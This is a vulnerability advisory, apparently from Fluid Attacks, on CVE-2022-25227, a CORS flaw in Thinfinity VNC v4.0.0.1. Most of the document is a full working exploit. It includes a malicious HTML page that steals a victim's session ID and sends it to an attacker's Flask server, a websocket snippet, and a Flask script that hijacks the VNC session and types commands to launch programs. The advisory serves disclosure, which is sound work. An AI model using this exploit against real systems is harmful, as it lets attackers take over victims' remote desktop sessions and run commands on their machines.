Thinfinity VNC v4.0.0.1 - CORS Misconfiguration to RCE

Summary

NameThinfinity VNC v4.0.0.1 - CORS Misconfiguration to RCE
Code nameClapton
ProductThinfinity VNC
Affected versionsv4.0.0.1
StatePublic
Release date2022-05-17

Vulnerability

KindCORS Misconfiguration
Rule134. Insecure or unset HTTP headers - CORS
RemoteYes
CVSSv3 VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
CVSSv3 Base Score8.3
Exploit availableYes
CVE ID(s)CVE-2022-25227

Description

Thinfinity VNC v4.0.0.1 contains a Cross-Origin Resource Sharing (CORS) vulnerability which can allow an unprivileged remote attacker, if they can trick a user into browse malicious site, to obtain an ID that can be used to send websocket requests and achieve RCE.

Proof of Concept

  1. Create a malicious site with the following content and send it to the victim.

    <!DOCTYPE html>
    <html>
    <body>
    <center>
    <h2>CORS Thinfinity POC Exploit</h2>
    <h3>Extract ID</h3>
    
    <div id="demo">
    <button type="button" onclick="cors()">Exploit</button>
    </div>
    
    <script>
    function cors() {
    
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
    
            response = JSON.parse(this.responseText)
            id_str = response['id']
    
            id_str = id_str.slice(1, id_str.length - 1)
    
            alert("Exfiltrated ID: " + id_str)
            alert("Do you want to send the exploit?")
    
            const flask_http = new XMLHttpRequest();
    
            // Server to exfiltrate the websocket id
    
            // CHANGE THIS
            var exf_server = "127.0.0.1:5000"
            const url = "http://" + exf_server + "/cors?id=" + id_str
    
    
            // Send ID to flask application
            flask_http.open("GET", url)
            flask_http.send()
    
            flask_http.onreadystatechange = function() {
                    alert('Done!!!')
            }
    
        }
    };
    
    // exfiltrate ID using CORS vulnerability
    
    // CHANGE THIS
    
    var server = "172.16.28.140:8081"
    xhttp.open("GET", "http://" + server + "/vnc/cmd?cmd=connect&wscompression=true&destAddr=&screenWidth=1308&screenHeight=741&orientation=90&browserWidth=654&browserHeight=627&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supportsFullScreen=true&webapp=false", true);
    xhttp.withCredentials = true;
    xhttp.send();
    }
    
    
    </script>
    
    </body>
    </html>
    
  2. Create a web socket connection against the target server using the exfiltrated ID. The following PoC sends the Ctrl+Esc keystroke combination to the server.

    from websocket import create_connection
    import time
    
    # CHANGE THIS
    id_str ="D6647736-7489-4FA3-9620-25F2DC7FA1F6"
    
    ws = create_connection("ws://172.16.28.140:8081/vnc/%7B" + id_str + "%7D")
    command = "cmd=fkey&key=CtrlEsc&id={" + id_str + "}"
    ws.send(command)
    
  3. The exploit below can be used to send arbitrary commands to the server after the ID is exfiltrated. It uses the ID to hijack the VNC connection and send keystrokes or mouse moves to the server.

Exploit

  • Run the flask application and trick a user with a session in Thinfinity to visit the page.

# export FLASK_APP=exploit_thinfinity
# flask run --host=0.0.0.0

from flask import Flask, request, redirect
from websocket import create_connection
import time
import socket

app = Flask(__name__)


# CHANGE THIS
server = "192.168.1.7:8081"


def current_ip():
    return([l for l in ([ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")][:1], [[(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]]) if l][0][0])


def send_enter(ws, str_id):
    ws.send("cmd=keyb&key=13&char=0&action=down&id={" + str_id + "}")
    time.sleep(1)

def send_ctrl_esc(ws, str_id):
    ws.send("cmd=fkey&key=CtrlEsc&id={%s}" % str_id)
    time.sleep(1)

def send_text(ws, cmd, str_id):

    for c in cmd:
        key = str(ord(c))

        command  = "cmd=keyb&key=66&action=down&id={%s}&char=%s&location=0" % (str_id,key)
        ws.send(command)
        time.sleep(0.2)

    time.sleep(2)


@app.route("/exploit")
def about():

    ip = request.host.split(':')[0]

    return """
        <!DOCTYPE html>
        <html>
        <body>
        <center>
        <h2>CORS Thinfinity POC Exploit</h2>
        <h3>Extract ID</h3>

        <div id="demo">
        <button type="button" onclick="cors()">Exploit</button>
        </div>

        <script>
        function cors() {

        var xhttp = new XMLHttpRequest();
        xhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {

                response = JSON.parse(this.responseText)
                id_str = response['id']

                id_str = id_str.slice(1, id_str.length - 1)

                alert("Exfiltrated ID: " + id_str)
                alert("Do you want to send the exploit?")

                const flask_http = new XMLHttpRequest();

                // Server to exfiltrate the websocket id

                // CHANGE THIS
                var exf_server = "%s:5000"
                const url = "http://" + exf_server + "/cors?id=" + id_str


                // Send ID to flask application
                flask_http.open("GET", url)
                flask_http.send()

                flask_http.onreadystatechange = function() {
                        alert('Done!!!')
                }

            }
        };

        // exfiltrate ID using CORS vulnerability

        // CHANGE THIS

        var server = "%s"
        xhttp.open("GET", "http://" + server + "/vnc/cmd?cmd=connect&wscompression=true&destAddr=&screenWidth=1308&screenHeight=741&orientation=90&browserWidth=654&browserHeight=627&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supportsFullScreen=true&webapp=false", true);
        xhttp.withCredentials = true;
        xhttp.send();
        }


        </script>
        </body>
        </html>
    """ % (ip, server)


@app.route('/cors',methods=['GET'])
def cors():
    str_id = request.args.get('id')
    print(str_id)



    socket_url = "ws://" + server +  "/vnc/%7B"+ str_id +"%7D"
    ws = create_connection(socket_url)

    send_ctrl_esc(ws,str_id)

    send_text(ws,"run",str_id)
    send_enter(ws,str_id)

    send_text(ws,"calc.exe",str_id)
    send_enter(ws,str_id)

    return str_id

@app.route("/")
def index():
    return redirect('/exploit')

Mitigation

By 2022-05-17 there is not a patch resolving the issue.

Credits

The vulnerability was discovered by Oscar Uribe from the Offensive Team of Fluid Attacks.

References

Vendor page https://www.cybelesoft.com/thinfinity/

Timeline

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2022-04-11

Vulnerability discovered.

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2022-04-11

Vendor contacted.

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2022-05-17

Public Disclosure.